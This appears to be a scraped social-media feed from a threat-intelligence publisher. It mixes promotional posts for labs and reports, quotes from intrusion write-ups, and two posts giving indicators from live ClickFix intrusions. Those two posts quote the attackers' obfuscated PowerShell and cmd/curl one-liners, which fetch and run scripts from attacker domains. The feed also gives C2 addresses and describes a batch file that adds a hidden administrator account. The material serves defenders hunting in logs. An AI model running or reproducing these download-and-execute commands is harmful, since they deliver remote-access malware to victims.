
New logo. New website. Same DFIR Report team. 🔎 Check out the incredible analysts behind the research: thedfirreport.com/company/an…

Real Intrusions by Real Attackers, the Truth Behind the Intrusion

New logo. New website. Same DFIR Report team. 🔎 Check out the incredible analysts behind the research: thedfirreport.com/company/an…

"The heavily obfuscated JS file contained multiple lines starting with //, which included filler text." Read the full report: buff.ly/wwlVfky #DFIR #ThreatIntel

🧪 New to DFIR or a seasoned analyst? There's a lab for you. DFIR Labs cases range from beginner-friendly to expert, hands-on investigations with real intrusion telemetry and dashboards, plus hints and guidance along the way. Start investigating 👉 buff.ly/JOr4Qof

"The more_eggs malware was the most predominate command and control traffic until the threat actor deployed Cobalt Strike to the network which was significantly higher. As highlighted in the graph below, the Pyramid C2 was only used once." Read the full report: buff.ly/d6hqGn4 #DFIR #ThreatIntel

Gootloader, CastleRAT, and StealC malware targeted in latest Operation ENDGAME cyber strike #GootLoader disrupted #CastleRat disrupted #StealC hit again Gootloader Video below. operation-endgame.com/

👤 Analyst Spotlight: Steven Mah With over 10 years of experience specializing in security operations, Steven creates educational blue team content on his YouTube channel to teach SOC analysts. Explore their work on The DFIR Report: buff.ly/9ghAUyK

🔎 Indicators from a ClickFix intrusion we are actively investigating: NetSupport C2: 93[.]152[.]209[.]36 Gateways: dasiiiitt[.]com:443, piuifoasf[.]com:443 NetSupport launched from: C:\Users\Public\Pictures\misEN.exE A user browsed to a compromised domain, was shown a ClickFix lure, and ran a command that used dynamic command construction and ScriptBlock creation to retrieve content from a threat actor controlled domain (vericheckusgo[.]com). The content was executed directly in memory, and NetSupport was ultimately deployed with C2 established. ClickFix command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoProfile -c "$z='vericheckusgo[.]com';@(0)|Write-Output|?{$true}|&([char]37){&(([type]'ScriptBlock')::Create($(@(0)|&([char]37){&('Invoke-'+'Rest'+'Method') $z}|&('Select-'+'Object') -first 1)))}" If you defend a network, hunt your logs for these now. Seeing the same thing, or have additional context? Get in touch 👉 buff.ly/rkdTyWR

"The remote server request makes it look like it could be a GIF image that is being downloaded. The file is dropped to C:\programdata\ using a filename that looks like a JPEG image." Read the full report: buff.ly/Fi47zHg #DFIR #ThreatIntel

🧪 DFIR Labs | A Contagious Interview (Private Case #38413) Could a fake job interview breach your network? A developer clones a malicious GitHub repo during a hiring assessment, handing a threat actor a foothold. Trace it end to end: Node.js loaders, Python C2, discovery, persistence, exfiltration. Medium level in Elastic, Splunk, or Azure Sentinel (enterprise). 🔍 Investigate 👉 buff.ly/UYoMXSE

"To further obfuscate its presence, the threat actor initially routed the Cobalt Strike command and control traffic through CloudFlare's CDN service, effectively attempting to hide in plain sight by blending into legitimate web traffic. The 104[.]21[.]76[.]140 and 172[.]67[.]196[.]25 addresses belonged to Cloudflare." Read the full report: buff.ly/YABjER3 #DFIR #ThreatIntel

💡 Train Your AI on Real Threat-Actor Behavior, Not a Simulation. AI Training Ground gives you over 100 real intrusions from The DFIR Report, not just initial-access samples, but full operations: lateral movement, credential theft, exfiltration, and impact, with many ending in ransomware. Authentic ground truth for AI and ML security models. Learn more 👉 buff.ly/b6q9OVM

🔎 Indicators from a ClickFix intrusion we are actively investigating: C2: microservice6533[.]com (fronted by Cloudflare) Payload launched from the user's Themes folder: "C:\Users\<user>\Themes\TRegSvr.exe" -q "C:\Users\<user>\Themes\vclimg370.bpl" SHA256 (vclimg370.bpl): 9c71d88a1a73373cc10cd622c9d37d9b71cee6d521cd40a07ca1e7507acfed27 A user browsed to a compromised site, was shown a ClickFix lure, and ran a command that used wildcard obfuscation to launch a command shell, download a batch script (z.cmd) from a threat actor controlled domain, and execute it. ClickFix command: "C:\Windows\system32\cmd.exe" /c "for %%x in (co*t.exe) do start "" %%x --headless cmd /c cd/dC:\Users\<user>^&curl -foz.cmd hxxps://webbit6551[.]com/ue/s/JSdmatqR^&z.cmd" If you defend a network, hunt your logs for these now. Seeing the same thing, or have additional context? Get in touch 👉 buff.ly/rkdTyWR

"In addition to the file, a new scheduled task named ‘InfrSiRfucture Technologies’ was created. This task was then invoked to run the new Javascript file." Read the full report: buff.ly/7qYj6oe #DFIR #ThreatIntel

🔒 Go beyond high-level threat summaries. Our Private DFIR Reports are context-rich, ground-truth investigations from real intrusions, evidence-based chronologies with exact timestamps, plus unredacted command lines, process trees, and registry keys, delivered while the tradecraft is still current. Immediately operational for detection engineering, IR, and AI/ML training. Learn more 👉 buff.ly/UTJ1TqU

"The purpose of the u1.bat file was to create a new user account named 'noname' with the password 'Slepoy_123', then use WMIC to find an administrators group, use net.exe (which calls net1.exe) to add the user to the admin group, then use WMIC to set the user's password to never expire." Read the full report: buff.ly/nupbDUZ #DFIR #ThreatIntel

🧬 Real adversary data, not synthetic samples. DFIR Case Artifacts are the actual forensic evidence from real DFIR Report investigations, host and network data, memory, and logs, captured from real threat-actor activity. No lab-generated noise, no simulated attacks. Train analysts, validate tools, and build detections on ground truth. Learn more 👉 buff.ly/NKnJWJ2